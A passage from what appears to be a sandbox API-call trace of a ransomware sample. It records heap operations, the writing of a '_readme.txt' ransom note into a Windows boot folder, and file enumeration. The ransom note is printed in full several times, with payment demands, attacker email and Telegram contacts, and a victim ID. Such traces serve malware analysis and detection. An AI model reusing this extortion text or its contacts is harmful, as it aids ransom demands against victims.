lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.174] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.174] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.174] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.174] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.174] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.174] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.174] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.174] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.174] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.174] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.174] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.174] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.174] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.174] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.174] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.174] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.174] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.174] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.174] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.174] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.174] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.174] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.174] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.174] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.174] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.174] PathFindFileNameW (pszPath="C:\\Boot\\fi-FI\\") returned="fi-FI\\" [0059.175] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.175] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.175] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.175] PathFindFileNameW (pszPath="") returned="" [0059.175] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.175] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.175] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.175] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x306a418 [0059.175] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.175] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8ab8 [0059.175] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.175] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.175] PathAppendW (in: pszPath="C:\\Boot\\fi-FI\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 1 [0059.175] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.175] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.176] PathFileExistsW (pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 0 [0059.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7d00) returned 0x312a418 [0059.176] lstrcpyW (in: lpString1=0x312a418, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" [0059.176] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd", lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" [0059.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c9340 [0059.176] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\_readme.txt" (normalized: "c:\\boot\\fi-fi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0059.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x930) returned 0x3100c28 [0059.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x894) returned 0x3068dd8 [0059.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x3068dd8, cbMultiByte=2196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 1173 [0059.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3132120 [0059.176] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.176] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.176] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned 1172 [0059.176] WriteFile (in: hFile=0x5c0, lpBuffer=0x3132120*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x9aafb64, lpOverlapped=0x0 | out: lpBuffer=0x3132120*, lpNumberOfBytesWritten=0x9aafb64*=0x494, lpOverlapped=0x0) returned 1 [0059.177] CloseHandle (hObject=0x5c0) returned 1 [0059.177] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132120 | out: hHeap=0x670000) returned 1 [0059.177] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c9340 | out: hHeap=0x670000) returned 1 [0059.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a418 | out: hHeap=0x670000) returned 1 [0059.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.178] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.178] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.178] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.178] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b17c90, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.178] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b17c90, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.178] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5360 | out: hHeap=0x670000) returned 1 [0059.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5360 [0059.178] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.179] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.179] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.179] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.179] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.179] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.179] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.179] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.179] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.179] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.179] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.179] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.179] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.179] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.179] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.179] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.179] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.179] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.179] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.179] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.179] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.179] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.179] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.179] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.179] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.179] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.179] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.179] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.179] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.179] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.179] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.179] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.180] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.180] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.180] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.180] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.180] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.180] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.180] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.180] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.180] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.180] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.180] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.180] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.180] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.180] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.180] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.180] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.180] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.180] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.180] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.180] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.180] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.180] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.180] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.180] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.180] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.180] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.180] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.180] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.180] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.180] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.180] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.181] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.181] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.181] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.181] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.181] HeapFree (in: 